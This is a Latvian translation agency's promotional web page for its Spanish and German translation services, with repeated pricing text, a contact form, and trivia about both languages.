IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu cenrādis no/uz spāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem sastāvdaļa. Vienmēr sniedzam detalizētu informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM SPĀŅU VALODĀ: dažādu dokumentu tulkošana spāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; spāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi spāņu valodā; individuālie un grupu spāņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus spāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI SPĀŅU VALODĀ / TULKOT SPĀŅU VALODĀ CIK MAKSĀ TULKOJUMI SPĀŅU VALODĀ? Tulkojumu cena no/uz spāņu valodu tiek noteikta katram pasūtījumam individuāli. Cenas noteikšanā tiek ņemti vērā vairāki aspekti ─ secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā tehniskais nodrošinājums, dalībnieku skaits utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura sarežģītība, jo īpaši zinātnisko rakstu un pētījumu, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktūra, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu cenrādis no/uz spāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem sastāvdaļa. Vienmēr sniedzam detalizētu informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM SPĀŅU VALODĀ: dažādu dokumentu tulkošana spāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; spāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi spāņu valodā; individuālie un grupu spāņu valodas kursi. Meklējiet valodu risinājumus spāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR SPĀŅU VALODU Spāņu valodas pirmsākumi meklējami ap mūsu ēras 9. gadsimtu. Tā attīstījās no latīņu sarunvalodas, kas Pireneju pussalā ienāca kopā ar romiešu leģioniem 3. gadsimtā pirms mūsu ēras. Spāņu jeb kastīliešu valoda ir indoeiropiešu valodu saimes, romāņu valodu grupas valoda, kuru kā dzimto valodu lieto vismaz 400 miljoni iedzīvotāju visā pasaulē, galvenokārt Ibērijas pussalā un Amerikā. Spāņu valoda ir otrā lielākā valoda pasaulē pēc runātāju skaita, un interesanti, ka spāniski runā gan Eiropā un Amerikā, gan Āfrikā un Āzijā, un pat Okeānijā. Spāņu valoda ir oficiālā valoda 21 valstī. 72% spāņu runā spāņu valodā, pārējie runā katalāņu, galisiešu, basku un citās valodās. Ņemot vērā, ka spāņu valoda ir izplatīta dažādās pasaules vietās, tai ir radušies dažādi varianti jeb dialekti. Vārdu krājums un gramatika atšķiras no tās valodas, ko dzirdēsim Spānijas pilsētās Madridē vai Barselonā, taču vēl atšķirīgāka spāņu valoda ir Latīņamerikā. Spāņu valodai ir aptuveni 10 dialektu, izplatītākais no tiem, kā arī literārais un tas, ko māca skolās un runā televīzijā, ir kastīliešu dialekts. Savukārt vēl ir Latīņamerikas spāņu dialekts, Andalūzijas spāņu valoda, Meksikas spāņu valoda, Kolumbijas spāņu valoda, Karību spāņu valoda u. c. Lai arī nav skaidru robežu, kas definētu, kad latīņu valoda tagadējā Spānijas ziemeļu un centrālajā daļā kļuva par spāņu valodu, var droši teikt, ka Kastīlijas reģiona valoda daļēji kļuva par atšķirīgu valodu, pateicoties karaļa Alfonso centieniem 13. gadsimtā standartizēt valodu oficiālai lietošanai. Spāņu valodas gramatika pirmo reizi tika publicēta 1492. gadā, tas bija tas pats gads, kad Kristofors Kolumbs atklāja Ameriku. Spāņu valoda ir viena no pasaules fonētiskākajām valodām. Ja zināt, kā vārds tiek rakstīts, gandrīz vienmēr varat zināt, kā tas ir izrunāts. Izņēmums ir nesenie svešvalodu izcelsmes vārdi, kas parasti saglabā sākotnējo rakstību. Spānijas Karaliskā akadēmija (Real Academia Española), kas izveidota 18. gadsimtā, tiek uzskatīta par standarta spāņu valodas galveno kopēju. Tā sagatavo vārdnīcas un gramatikas rokasgrāmatas. Lai arī tās lēmumiem nav likuma spēka, tie tiek plaši ievēroti gan Spānijā, gan Latīņamerikā. Starp akadēmijas atbalstītajām valodu reformām ir arī apgrieztās jautājuma zīmes un izsaukuma zīmes (¿ un ¡) ieviešana spāņu valodā. Pēc latīņu valodas, kurai ir bijusi vislielākā ietekme uz spāņu valodu, nākamā ir arābu valoda. Mūsdienās vislielākā ietekme uz spāņu valodu ir angļu valodai, un spāņu valoda ir pieņēmusi simtiem angļu valodas vārdu, kas saistīti ar tehnoloģijām un kultūru. Spāņu valoda ir viena no sešām Apvienoto Nāciju Organizācijas oficiālajām valodām, kā arī Eiropas Savienības, „Mercosur”, FIFA un daudzu citu starptautisku organizāciju oficiālā valoda. Spāņu valoda ir otrā ātrākā valoda pasaulē, kurā runā gandrīz 7,82 zilbes sekundē. Japāņu valoda pārspēj to, iegūstot ātrākās runātās valodas titulu (tikai) ar ātrumu 7,84 zilbes sekundē. Starp citu – spāņu valoda tiek uzskatīta par visromantiskāko valodu pasaulē. Līdz 18. gadsimtam spāņu valoda bija vienīgā demokrātiskā valoda pasaulē. Lietvārdus un īpašības vārdus spāņu valodā neloka. Lietvārdu jēdzienisko sakaru nosaka ar prievārdu palīdzību. SPĀŅU VALODAS ALFABĒTS Tāpat kā lielākajā daļā Eiropas valodu, arī spāņu valodas alfabētā tiek izmantots latīņu alfabēta variants. Tas satur tos pašus 26 burtus, kas ir daudzās citās indoeiropiešu valodās, piemēram, angļu vai itāļu valodā, un tam pievienojas vēl viens: vienīgais tikai spāņu valodai raksturīgais burts „ñ”. Papildus 27 burtiem, kas ir spāņu alfabētā, ir pieci divskaņi (ch, ll, rr, gu un qu), vai burtu kombinācijas, kas kalpo citu skaņu rakstīšanai. Pareizrakstības noteikumi vēstures gaitā ir daudz mainījušies. Mūsdienās lietojamais spāņu alfabēts ir 2010. gadā notikušās spāņu valodas reformas rezultāts. Jaunā Ortografía de la lengua española (Spāņu valodas pareizrakstības sistēma), ko Spānijas Karaliskā akadēmija (Real Academia de la Lengua Española) prezentēja tajā pašā 2010. gadā, noteica, ka alfabētā ir tikai 27 burti. Divskaņi, lai gan joprojām tiek izmantoti rakstībā, pārstāja būt daļa no spāņu valodas alfabēta. „Ñ” burts, kas neeksistēja latīņu valodā un tāpēc nav redzams citās romāņu valodās, tika ieviests ap 12. gadsimtu, un to radīja spāņu rakstu mācītāji. Viņi izmantoja šo burtu kā īsu formu divu burtu „n” pierakstīšanai, kad viņi pārrakstīja tekstus no latīņu valodas. Tā, piemēram, latīņu valodas vārds „annus” galu galā kļuva par spāņu „año”. CIK SAREŽĢĪTA IR SPĀŅU VALODA? Spāņu valodas apguve 21. gadsimtā ir kļuvusi īpaši populāra. Aizvien vairāk cilvēki izvēlas Spāniju kā savu ceļojumu galamērķi, aizvien lielāka ir interese par spāņu valodas vēsturi, rašanos, tā ir valoda, kas fascinē ar savu daiļskanīgumu. Spāņu valoda tiek uzskatīta par vienu no visvieglāk apgūstamajām valodām pasaulē. Tā ir ļoti daiļskanīga un bagāta valoda. Visvieglāk valodu ir apgūt tiem, kas jau runā kādā no romāņu valodām – portugāļu vai itāļu. Spāņu valoda patiesībā ir viena no visvieglāk apgūstamajām valodām arī angļu valodas pratējiem. Pirmkārt, abās valodās tiek lietots viens un tas pats alfabēts. Spāņu valodas izruna ir ļoti vienkārša. Arī gramatikas iezīmes abām valodām ir ļoti līdzīgas. Valodas eksperti saka, ka iemācīties spāņu valodu profesionālā līmenī var 24 mēnešos, veltot tai laiku katru dienu. Protams, liela loma valodas apguvē ir būšana valodu runājošo cilvēku vidē – mācīties valodu klausoties, lasot, runājot. KUR UN CIK DAUDZ RUNĀ SPĀŅU VALODĀ? Kopējais spāņu valodas pratēju skaits visā pasaulē sasniedz aptuveni 600 miljonus iedzīvotāju. Vismaz 400 miljoniem tā ir dzimtā valoda. Valsts valodas statuss spāņu valodai ir 21 valstī – Meksikā, Kolumbijā, Spānijā, Argentīnā, Venecuēlā, Peru, Čīlē, Ekvadorā, Gvatemalā, Kubā, Dominikānā, Hondurasā, Bolīvijā, Salvadorā, Nikaragvā, Paragvajā, Kostarikā, Urugvajā, Panamā, Ekvatoriālajā Gvinejā, Puertoriko. Vēl ir 10 valstis pasaulē, kurās spāņu valoda nav valsts valoda, bet tai ir īpašs statuss – Andora, Beliza, Brazīlija, Gibraltārs, Maroka, Filipīnas, Trinidāda un Tobago, ASV, Vatikāns un Rietumsahāra. Kā diasporas valoda tā tiek lietota Kanādā, Austrālijā, Lielbritānijā, Francijā, Šveicē, Vācijā, Izraēlā, Itālijā un Alžīrijā. SPĀŅU VALODAS TULKS UN TULKOTĀJS Skrivanek profesionālo tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu spāņu valodā korektūru un stilistisko uzlabošanu. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz spāņu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptācijas, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos. Piedāvājam arī sinhrono tulkošanu tiešsaistē Zoom platformā. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. SPĀŅU VALODA BIZNESĀ Vairāk nekā 572 miljoni cilvēku pasaulē runā spāniski (7,8% no pasaules iedzīvotājiem), padarot to par otro visvairāk runāto valodu pēc ķīniešu valodas. Servantesa institūts Spānijā prognozē, ka līdz 2100. gadam šis skaitlis sasniegs 754 miljonus. Ir daudz pierādījumu, kas liecina, ka angļu un spāņu valodas būs valodas, kas turpmākajos gados dominēs uzņēmējdarbības vidē. Tā rezultātā daudzi studenti izvēlas studēt spāņu valodu. Spāņu valoda ir oficiālā valoda 20 valstīs visā pasaulē. Spāniski runājošo klientu pirktspēja strauji pieaug ne tikai ASV, bet arī Eiropā, tāpat kā strauji pieaug spāņiem piederošo uzņēmumu skaits. Šobrīd ir ļoti svarīgi iegūt spāņu valodas prasmes, lai vieglāk iekļautos šajā augošajā tirgū, kur spāņu valoda ir jaunā ekonomiskās sadarbības valoda. Spāņu valodas zināšanas palīdzēs izveidot ilgstošas darījumu attiecības ar pircējiem, piegādātājiem un partneriem, kuriem spāņu valoda ir dzimtā valoda. Un tā būs ne tikai Eiropa, bet arī ASV un daudzas Dienvidamerikas valstis, kurām jau šobrīd ir liela nozīme pasaules ekonomikā. SPĀNIJAS UN LATVIJAS DIVPUSĒJĀS ATTIECĪBAS 2021. gadā tika atzīmēta Latvijas un Spānijas diplomātisko attiecību nodibināšanas simtgade. Spānija jau gadiem ir uzticams Latvijas tirdzniecības partneris, ko apliecina stabils tirdzniecības apgrozījums. Latvija eksportē uz Spāniju galvenokārt elektriskās iekārtas, augu valsts un pārtikas rūpniecības produktus; importē – augļus, dārzeņus, dzērienus un tekstilizstrādājumus. Latvija importē vairāk nekā eksportē, kas liecina par negatīvu tirdzniecības bilanci un tradicionāli krasu atšķirību preču plūsmai. Arī kultūras un izglītības jomā Latvijai ar Spāniju ir lieliska komunikācija. Kopš 1995. gada Latvijas Kultūras akadēmija īsteno studiju apakšprogrammu „Starpkultūru sakari Latvija – Spānija”. Latvijas Kultūras akadēmijai Erasmus+ ietvaros ir noslēgti līgumi ar vairākām Spānijas augstskolām. Aktīva sadarbība notiek starp Mursijas Universitāti un Rīgas Tehnisko universitāti, Rey Juan Carlos universitāti un Biznesa augstskolu „Turība”. Sadarbība ar Spānijas izglītības iestādēm izveidojusies arī Latvijas Mākslas akadēmijai un Latvijas Kultūras koledžai. Spāņu valodas studijas Latvijā piedāvā arī Liepājas Universitāte. Starp Latviju un Spāniju ir izveidojušies labi kultūras sakari, un sadarbība norisinās gan starp abu valstu muzejiem un bibliotēkām, gan operām un atsevišķiem māksliniekiem. Latvijas Nacionālais mākslas muzejs un Spānijas muzeji savstarpēji nodod glabāšanā kolekcijās esošos eksponātus izstādēm muzejos. Nacionālais Kino centrs sadarbojas ar Sansebastjānas Starptautisko filmu festivālu, kas ir viens no nozīmīgākajiem un senākajiem Eiropas kino festivāliem. SPĀŅU VALODAS DIENA Katru gadu 23. aprīlī Spāņu valodas dienā godina spāņu valodu kā otro visvairāk runāto valodu pasaulē. Tā ir arī diena, kurā godina visvairāk zināmo spāņu rakstnieku Migelu de Servantesu Saavedru. Apvienoto Nāciju Izglītības, zinātnes un kultūras organizācija (UNESCO) 2010. gadā pieņēma lēmumu svinēt Spāņu valodas dienu. Tās mērķis bija atzīmēt organizācijas daudzvalodību un kultūras daudzveidību. 23. aprīlis tika izvēlēts, lai pieminētu Migela de Servantesa Saavedras nāvi, kurš nomira 1616. gadā. Šajā dienā pasākumi un aktivitātes tiek rīkotas visā pasaulē spāņu valodā runājošajos reģionos. Viens no populārākajiem notikumiem ir viena no Migela de Servantesa Saavedras atzinīgākajiem romāniem “Dons Kihots” lasīšana. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM SPĀŅU VALODĀ: dažādu dokumentu tulkošana spāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; spāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi spāņu valodā; individuālie un grupu spāņu valodas kursi. SPĀŅU VALODAS KOMBINĀCIJAS: spāņu–latviešu; latviešu–spāņu; spāņu–lietuviešu; lietuviešu–spāņu; igauņu–spāņu; spāņu–igauņu; angļu–spāņu; spāņu–angļu; krievu–spāņu; spāņu–krievu; poļu–spāņu; spāņu–poļu; ukraiņu–spāņu; spāņu–ukraiņu; čehu–spāņu; spāņu–čehu; vācu–spāņu; spāņu–vācu; spāņu–spāņu; spāņu–spāņu; franču–spāņu; spāņu–franču; itāļu–spāņu; spāņu–itāļu; dāņu–spāņu; spāņu–dāņu; zviedru–spāņu; spāņu–zviedru; norvēģu–spāņu; spāņu–norvēģu; somu–spāņu; spāņu–somu, spāņu–arābu; arābu–spāņu; spāņu–armēņu, armēņu–spāņu; spāņu–baltkrievu, baltkrievu–spāņu; bulgāru–spāņu, spāņu–bulgāru; spāņu–ebreju, ebreju–spāņu, spāņu–grieķu, grieķu–spāņu; spāņu–gruzīnu; gruzīnu–spāņu; spāņu–hindi; hindi–spāņu; spāņu–holandiešu; holandiešu–spāņu; spāņu–korejiešu; korejiešu–spāņu; spāņu–kurdu; kurdu–spāņu; spāņu–ķīniešu; ķīniešu–spāņu; spāņu–portugāļu; portugāļu–spāņu; spāņu–rumāņu; rumāņu–spāņu; spāņu–slovāku; slovāku–spāņu; spāņu–slovēņu; slovēņu–spāņu; spāņu–turku; turku–spāņu; spāņu–ungāru; ungāru–spāņu u. c. --- > Interesanti fakti par vācu valodu un Vāciju, kā arī par Skrivanek tulkošanas biroja pakalpojumiem vācu valodā. Viss par un ap vācu valodu. - Published: 2017-09-29 - Modified: 2024-09-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional TULKOJUMI VĀCU VALODĀ / TULKOT VĀCU VALODĀ CIK MAKSĀ TULKOŠANA VĀCU VALODĀ? Tulkojumu cena no/uz vācu valodu tiek noteikta individuāli katram pasūtījumam. Cenu veido vairākas komponentes, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz vācu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Pirms tulkošanas projekta uzsākšanas un līguma parakstīšanas vienmēr sniedzam detalizētu informāciju par tulkojuma cenu un papildus izmaksām, ja klients izvēlas atsevišķus pakalpojumus, piemēram, tulkojuma notariālu apstiprināšanu u. c. Tulkojuma cena tiek noteikta pēc tulkojamā materiāla apjoma, teksta dublēšanās dokumentā, teksta valodu pāra specifikas, tulkojamā materiāla apstrādes vajadzībām un konteksta. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM VĀCU VALODĀ: dažādu dokumentu tulkošana vācu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; vācu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi vācu valodā; individuālie un grupu vācu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus vācu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI VĀCU VALODĀ / TULKOT VĀCU VALODĀ CIK MAKSĀ TULKOŠANA VĀCU VALODĀ? Tulkojumu cena no/uz vācu valodu tiek noteikta individuāli katram pasūtījumam. Cenu veido vairākas komponentes, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz vācu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Pirms tulkošanas projekta uzsākšanas un līguma parakstīšanas vienmēr sniedzam detalizētu informāciju par tulkojuma cenu un papildus izmaksām, ja klients izvēlas atsevišķus pakalpojumus, piemēram, tulkojuma notariālu apstiprināšanu u. c. Tulkojuma cena tiek noteikta pēc tulkojamā materiāla apjoma, teksta dublēšanās dokumentā, teksta valodu pāra specifikas, tulkojamā materiāla apstrādes vajadzībām un konteksta. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM VĀCU VALODĀ: dažādu dokumentu tulkošana vācu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; vācu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi vācu valodā; individuālie un grupu vācu valodas kursi. Meklējiet valodu risinājumus vācu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR VĀCU VALODU UN VĀCIJU Vācu valoda pieder indoeiropiešu saimes rietumģermāņu valodu grupai. Tās pirmsākumi meklējami īsi pirms mūsu ēras 1. gadsimta, kad uz Eiropas vidieni no dienvidiem ieradās ģermāņu ciltis. Vēlāk ģermāņu pamatvaloda sadalījās trīs šīs valodas reģionālajās formās: ziemeļģermāņu, austrumģermāņu un rietumģermāņu. Gadsimtu gaitā no rietumģermāņu valodas attīstījās mūsdienu vācu, nīderlandiešu, frīzu, luksemburgiešu, afrikandu, skotu un angļu valoda. Mūsdienu vācu valodas attīstības vēsturi var iedalīt trīs periodos: 1. senvācu valoda (ap 750. –1050. gadu mūsu ērā) 2. vidusvācu valoda (1050. –1500. ) 3. modernā vācu valoda (no 1500. gada līdz mūsu dienām). Tā ir dzimtā valoda aptuveni 108 miljoniem cilvēku, un pēc šā rādītāja tā ir desmitajā vietā pasaulē. Taču vācu valoda ir visizplatītākā dzimtā valoda Eiropas Savienībā. Vācu valoda ir valsts valoda vairākās Eiropas valstīs: Austrijā, Lihtenšteinā, Luksemburgā, Šveicē un Vācijā. Citviet Eiropā lielas vācu valodā runājošas kopienas dzīvo Beļģijas austrumos, Dānijas dienvidos, Francijā (Elzasas reģionā) un Itālijas ziemeļos. Latviešu tulkotājs un filologs Valdis Bisenieks uzskata, ka vācu valoda ir īpatnēja ar to, ka tās literārā valoda nav veidojusies dabiski kā citām valodām, par pamatu ņemot vienu konkrētu dialektu, bet gan radīta mākslīgi, sākot ar Luteru un beidzot ar Teodora Zība aktieriem paredzēto „Skatuves izrunas vārdnīcu”, kas guva tādu vācu atsaucību, ka kļuva par izrunas vispārēju paraugu. Luters no dažādiem vācu valodas dialektiem ņēma dažādus vārdus, un tā tas ir it kā mākslīgi, bet tomēr kaut kā tik dabiski iegājies, un tur, kur iespējami varianti, rodas visas dažādās nozīmes. Vācu valoda ir Baha, Bēthovena, Brāmsa, Brehta, Einšteina, Freida, Gētes, Grasa, Hēgeļa, Kafkas, Kanta, Manna, Mocarta, Nīčes, Šūberta, Vāgnera, Vēbera un simtiem citu pasaulslavenu filozofu, komponistu, mākslinieku, zinātnieku un rakstnieku valoda! 68% Japānas studentu apgūst vācu valodu. Marks Tvens par vācu valodu un vāciešu mīlestību uz salikteņiem ir teicis, ka tie nav vārdi, bet gan „gramatiski gājieni, kas majestātiski soļo pa lapu”. Vācu valodas salikteņi noteikti aizkaitina jebkuru valodas apguvēju, bet rada sajūsmu tiem, kam valodas ir azarts. Vācu valodā visus lietvārdus raksta ar lielo burtu. Pirms lietvārdiem izmanto artikulus, kas norāda, kādai dzimtei konkrētais lietvārds pieder. Sieviešu dzimtes lietvārdu atzīmē ar artikulu „die”, vīriešu dzimtes lietvārdu ar artikulu „der”, taču nekatro dzimti ar artikulu „das”. „Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz” ir garākais saliktenis vācu valodā, tikai nieka 63 burti. Tā nozīme ir „Likums par pienākumu deleģēšanu liellopu marķēšanas un liellopu gaļas marķēšanas uzraudzībai” un tas tika ieviests 1999. gadā "BSE" (liellopu sūkļveida encefalopātijas) krīzes laikā. Tam tika piešķirts saīsinājums „RkReÜAÜG”, kas pats par sevi arī bija neizrunājams. Vācijā ir vismaz 35 valodas dialekti, cilvēkiem no dažādiem reģioniem pat reizēm sagādā grūtības saprast vienam otru. Tādēļ reģionālās filmas tiek rādītas ar subtitriem. Vācieši tik ļoti sargā savu valodu, ka lielākā daļa ārvalstu filmas pirms pirmizrādēm tiek dublētas vācu valodā, izmantojot vietējos aktierus. Tas ir padarījis dublēšanu par simtiem miljonu eiro vērtu nozari. Vācu saldumu ražotājs Haribo īsteno projektu, kurā vietējie bērni var apmainīt ozolzīles pret saldumiem. Ozolzīles pēc tam tiek nosūtītas uz dabas rezervātiem, lai barotu dzīvniekus. Katru gadu Vācijā tiek apēstas vairāk nekā 800 miljonu karija desiņu. Uzkoda ir tik populāra valstī, ka Berlīnē tai pat ir izveidots muzejs. Varētu turpināt vēl un vēl stāstīt par Vāciju, jo tā ir valsts ar senu vēsturi, kultūru, tradīcijām. Tajā ir dzimuši pasaulslaveni ģēniji kultūras, izglītības, zinātnes, politoloģijas un daudzās citās jomās. Bet galvenais ir viens – vācu valoda ir valoda, kuras zināšana mums visiem paver ceļu uz skaistas valsts, skaistas kultūras un reizēm amizanto vācu ieradumu iepazīšanu. VĀCU VALODAS ALFABĒTS Vācu alfabētā ir 26 latīņu alfabēta burti. Burti ar umlautu (ä, ö, ü) un ligatūra ß alfabētā iekļauti netiek. Umlauts jeb diakritiskā zīme rāda patskaņa palatalizāciju jeb tā mīkstināšanu. 